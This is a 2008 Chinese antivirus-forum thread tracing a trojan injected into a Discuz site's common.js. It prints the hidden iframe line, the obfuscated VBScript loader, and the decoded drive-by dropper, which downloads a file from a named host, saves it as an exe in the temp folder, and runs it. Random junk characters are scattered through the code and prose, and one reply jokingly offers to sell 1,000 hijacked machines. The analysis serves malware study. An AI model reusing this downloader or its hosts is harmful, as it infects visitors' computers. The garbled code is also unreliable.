查看完整版本: 记一次简单的抓马过程

梦影 2008-5-30 22:05

记一次简单的抓马过程

今天中午,有人向我求助,DZ6.1中的文件/include/javascript/common.js最后被人插入了了如下一行代码.
2q{-s se'faj [code]
^V` vO document.writeln("<iframe src=http://jj.jmslj.com/zz.html style='width: 0px; height: 0px;'></iframe>")
2A6}Bo4w\N5r [/code]x D8XJXCak*f
清除掉后第二天又中,不知问题在哪,报给了官方,偶还是找马吧...jS |t9H i~
先下载http://jj.jmslj.com/zz.html,内容如下:
4j,fh r I a [code]N"C.Gj4h!l sF(_ cl
<iframe src='http://jj.jmslj.com/a11.htm' style="width: 0px; height: 0px;"></iframe>3O cm {t.Yqj
<script language="javascript" src="http://count38.51yes.com/click.aspx?id=386950387&logo=1"></script>,o#B~!r:lj;~FA;f
[/code]
!bf8J6PO#M 先看下这个页面:http://jj.jmslj.com/a11.htm,内容如下:
uFj6uT6g:q{Z [code]m? r?T_#mt
<body>errW1U*WXvs.s5em4?I
<script language="javascript">+E~-RXtfnE

9GI3Uw|K document.writeln("<iframe src=\"a1111.htm\"><\/iframe><iframe src=\"a6111.htm\"><\/iframe><iframe src=\"jsr222.htm\"><\/iframe>");
8z `6yR&}$y8d
h{p el8d </script>l&u Tna.rUWD)wU

5E)@!t4s'V ~!Og$^;Y
B,Yqs"w ~Ffc$d </BODY> He;D!PT;JL
[/code]&a} w DC
看到好几个地址了,先第一个吧,即:http://jj.jmslj.com/a1111.htm,它的内容是这样的:
)H4M;M R7q [code]%J9[FvNN ~(PW~ j6hR
<html>} ku'_A\%T
<head>)n(P U!kS"H%M];\"`
<title> </title>W$Pe~.S/@8j
</head>d1JJSDPw9T
<body>
z1o|3d,F V G?*Q <script language="VBScript">(xT#q(e#jL
function playgame(k)
}_nQO(jy O playgame="" mQBy|vX+]D]
s=Split(k,"$"),h+Cs8l9b9_;}O&D
t=""
6Z^]6S\ J)Tu-e For i = 0 To UBound(s)
)WLD y6hq;n&~D a=Chr(eval(s(i)))
M2u:zMhC.e t=t&a
F6U?)r0?C nz @ Next
J Wqv"u)K/M playgame=t*}8@md2U\
End Function$O+PY _]X~Uv(}
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#h5v5w-v } document.write(playgame(x))
aN}4aMSH p </script>
,D#e#_FeS|&L </body>.p r:v;HU
</html>(X3Nzk aTa

O x&K!R5c
;^]0{s/@oU)H [/code]
9\I@V v 这个解密很简单,把document.write改成alert,运行,结果就出来了,如下:B/g ^8YXRS/m
[code]
P+zFx)g/uU <script language="vbscript">on error resume c+q0W/y*S

6biyY9W3] nextXMLHTTP=""m1="object"m2="classid"strTemp3=":"strTemp1="."strTemp2="clsid"m3=strTemp2+st;T8JTn+]zp/S
l Q+hU W%zts,o
rTemp3+"BD96"+XMLHTTP+"C556-65"+XMLHTTP+"A3-11"+XMLHTTP+"D0-983A-zyDcJT0U
!T?(z2];Wff\S
00"+XMLHTTP+"C04FC2"+XMLHTTP+"9E36"m4="Microsoft"+strTemp1+"XMLHTTP"m5="Shel"+XMLHTTP+"l.Ap
R'yxE0[cx4p
(YN r?~8f;fk plic"+XMLHTTP+"ation"MircoLong =  "ht"+"tp"+"://l.ljsrx.com/data.gif"Set MircoLongc =
X?9bV*g I#l#j^iu
document.createElement(m1)MircoLongc.setAttribute m2, [,U4a,a-wOw
AR$F7[*E
m3seturla="down"seturlb="file"seturlc="copy"seturld="exit"MircoLongi=m4Set MircoLongd = r G%?b.mw(Np\

-M/Pb'LO'vR9qX MircoLongc.CreateObject(MircoLongi,"")
(y0b#T8r{BU
0S:`LTI seturlf="Ado"seturlg="db."seturlh="Str"seturli="eam"MircoLongf=seturlf&seturlg&seturlh&setuM;SY;X];e
!k OrBi;[ E5w)U [
rliMircoLongg=MircoLongfset MircoLonga = MircoLongc.createobject(MircoLongg,"")set U6o JG!O \7n e]

O8yt?+^rV MircoLongb = MircoLongc.createobject ("Scripting.FileSystemObject","")set MircoLonge =
R5um:L-s SJ*B/I)wiB`
MircoLongb.GetSpecialFolder(2)MircoLongBAT=MircoLongb.BuildPath(MircoLonge,"~s.bat")#u?O_9ps*| D

#d5X-]m(N*qQ HC(@ MircoLong9="tzgl.exe"MircoLong9= MircoLongb.BuildPath(MircoLonge,MircoLong9)set MircoLonge 7Hvg"g3o6a7dGD2R

;d q#yg*}w6N/bYvX = MircoLongc.createobject(m5,"")MircoLonge.ShellExecute "cmd.exe","/c echo  
avc's)xE)s2]`
0?-c6Bs3Y1j!} v7~ "+MircoLong9+">"+MircoLongBAT,"","",0MircoLonga.type = 1MircoLongh="GET"MircoLongd.Open
}ff*a5d?JczV E,Y Q%f;se'L
MircoLongh, MircoLong, FalseMircoLongd.SendMircoLonga.openMircoLong8="MircoLonga.BuildPathV"y2h2p7k2~

| Kr?4Q (MircoLonga,MircoLong8)"MircoLong7="MircoLongb.BuildPath
T8GK\5l4z!OsGu Qa g!A4xE ^p.sT
(MircoLongb,MircoLong7)"MircoLong6="MircoLongc.BuildPath
| Z8CK2utuscp \_.s*Kldb @
(MircoLongd,MircoLong6)"MircoLong5="MircoLongd.BuildPath
A0UyNb`wk
KH q~8Q}g5AM (MircoLongf,MircoLong5)"MircoLong4="MircoLonge.BuildPath
Fq:]6jz|
i&?E2]RV!{p (MircoLongg,MircoLong4)"MircoLong3="MircoLongf.BuildPath
cL:?!dU "w e3p&l1b'q'K)V,N$D
(MircoLongh,MircoLong4)"MircoLong2="MircoLongg.BuildPath
d/tK5f2K3U uAmZ k
nW+|9o7m;Rg.Q1rFS (MircoLongi,MircoLong3)"MircoLong1="MircoLongh.BuildPath
&dg\~,Ce!OK
iW.}'FZ7^^2X (MircoLongg,MircoLong1)"MircoLong0="MircoLongi.BuildPathH)I \;l Sn3A kAA

6g#e;n\c X'G4sL (MircoLongk,MircoLong0)"MircoLonga.write MircoLongd.responseBodyexecute8l O:as7O,ve8n
x;GU@4K,f.pL |I!X
("MircoLonga.sav"+"etofile MircoLong9,2")MircoLonga.closeMircoLonge.ShellExecute /O'g{4\Y

+s{M F!b Nb"mw,a1{ MircoLong9,BBS,BBS,"open",0MircoLonge.ShellExecute "cm"+"d.e"+"xe", "/c " &
%i:X\!c`U9WU T
-Jz!T?d3M!S MircoLongBAT,BBS,"",0</script> HKtY+}1s7p t F
[/code]
\6Jmly1d*DC 这个变形代码和上次的很相似...不废话了,木马地址已经出来了,就是这个:{ z,A"yJG
http://l.ljsrx.com/data.gifq?3}TO?j1w
下载后保存为exe文件格式即可.附上上次那篇文章的地址:http://www.ratebbs.cn/thread-1443-1-1.html
7[hf2f Y[2G_ 刚刚第二个页面还有几个地址,大致是差不多的,追入下一页解密基本就可以得到木马地址了,这里不再详述.[0L;Me#O(a2e0I.?

+T%PZ"j8XYFs 作者:梦影5xIK'w1mW.e4z P$M
来源:雷特反病毒社区(http://www.ratebbs.cn)
E |n)c,CF#m_ 本文地址:http://www.ratebbs.cn/thread-1558-1-1.html

htrlq 2008-5-30 22:13

顶!0[-dj1nh_ F
我有肉鸡拉! VB5[!ugMG
全是黑客的!

梦影 2008-5-30 22:55

[quote]原帖由 [i]htrlq[/i] 于 2008-5-31 12:13 发表 [url=http://www.ratebbs.cn/redirect.php?goto=findpost&pid=6540&ptid=1558][img]http://www.ratebbs.cn/images/common/back.gif[/img][/url] b%x.]7]ks9}
顶!
rlyRJ1UD[ 我有肉鸡拉! QR0MBfT@
全是黑客的! [/quote]
$Ga3yMiobh U&E9pN Z:f{0Ga }sY
占楼,出售肉鸡1000台     7`Nsa4ewz0i)\
jUu"}5f
：72）

℡o风︶ㄣ 2008-5-31 00:09

绞肉机有人要吗？

htrlq 2008-5-31 00:15

[quote]原帖由 [i]梦影[/i] 于 2008-5-31 12:55 发表 [url=http://www.ratebbs.cn/redirect.php?goto=findpost&pid=6544&ptid=1558][img]http://www.ratebbs.cn/images/common/back.gif[/img][/url]
&M9Oz(e%nA{T vF0fL}%LhVq
0a1Y'@kT-Jjm$s0NV
占楼,出售肉鸡1000台     
\ T;TES0g2hm wS s4L@(su
：72） [/quote]
9ce2}H _'Y4o 你卖肉鸡?4i%S'k'}0`~B-E#R
梦MM在我心中的形象破碎拉!
e)pw`t8HIA5q 赚黑钱?!

梦影 2008-5-31 00:21

回复 5楼 的帖子

开玩笑的, 呵呵,以后别在技术帖下灌水,否则删贴.

良子 2008-6-2 22:24

htm文件怎么运行?

梦影 2008-6-3 06:16

[quote]原帖由 [i]良子[/i] 于 2008-6-3 12:24 发表 [url=http://www.ratebbs.cn/redirect.php?goto=findpost&pid=6831&ptid=1558][img]http://www.ratebbs.cn/images/common/back.gif[/img][/url]
"F$V*QD DX htm文件怎么运行? [/quote]
p]K$uj-L f6_1J_ 双击.
k5Wxw#NSru*Eo 默认也就是用IE来打开.
^|+dJh P 但是请注意,如果解密失败,导致原加密代码被执行了,则有中毒的危险.

htrlq 2008-6-3 23:53

什么溢出?

风吹啊吹 2010-1-25 04:17

看看。。。。。。。。。。。。。

saisi 2011-2-2 05:30

ID:19506
"P St l+d/N w 看帖日期:2011年2月o3?$@%]%Z
看帖前是否已掌握:没有
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